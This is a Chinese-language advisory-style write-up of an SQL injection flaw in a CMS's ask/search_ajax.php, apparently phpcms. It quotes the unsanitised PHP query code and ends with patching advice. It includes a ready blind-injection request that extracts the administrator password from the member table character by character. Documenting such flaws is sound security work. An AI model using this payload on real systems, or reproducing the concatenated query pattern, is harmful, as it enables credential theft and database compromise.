近期,网络安全领域再次曝光了一个典型的SQL注入漏洞案例,该漏洞存在于某知名CMS的ask模块中。根据公开的技术细节,恶意攻击者能够通过搜索功能中的参数直接注入恶意SQL语句,整个漏洞利用链条非常清晰——根本原因在于输入过滤机制的缺失。
漏洞文件
ask/search_ajax.php 文件
漏洞说明
在 /ask/search_ajax.php 文件中,程序直接将用户输入拼接到 $where 变量中:
if($q)
{
$where = " title LIKE '%$q%' AND status = 5";// 未进行任何过滤,直接拼接到了$where
}
else
{
exit('null');
}
$infos = $ask->listinfo($where, 'askid DESC', '', 10);
紧接着,listinfo 方法定义在 /ask/include/answer.class.php 文件中,该方法将传入的 $where 直接拼接到SQL查询语句中:
function listinfo($where = '', $order = '', $page = 1, $pagesize = 50)
{
if($where) $where = " WHERE $where";
if($order) $order = " ORDER BY $order";
$page = max(intval($page), 1);
$offset = $pagesize*($page-1);
$limit = " LIMIT $offset, $pagesize";
$r = $this->db->get_one("SELECT count(*) as number FROM $this->table_posts $where");
$number = $r['number'];
$this->pages = pages($number, $page, $pagesize);
$array = array();
$i = 1;
$result = $this->db->query("SELECT * FROM $this->table_posts $where $order $limit");
while($r = $this->db->fetch_array($result))
{
$r['orderid'] = $i;
$array[] = $r;
$i++;
}
$this->number = $this->db->num_rows($result);
$this->db->free_result($result);
return $array;
}
此处没有任何类型检查或转义处理,恶意攻击者完全可以通过 $q 参数注入任意SQL语句,从而窃取数据库中的敏感数据,例如管理员密码。
测试方法
一个典型的利用方式是通过构造如下HTTP请求,使用盲注技术逐字符读取管理员密码:
/ask/search_ajax.php?q=s%D5'/**/or/**/(select ascii(substring(password,1,1))/**/from/**/phpcms_member/**/where/**/username=0x706870636D73)>52%23
该请求利用SQL注释符和比较操作,逐位遍历出密码的ASCII值,最终可完整还原管理员凭据。系统管理员应尽快检查受影响版本,并对搜索参数实施严格的过滤或参数化查询处理。
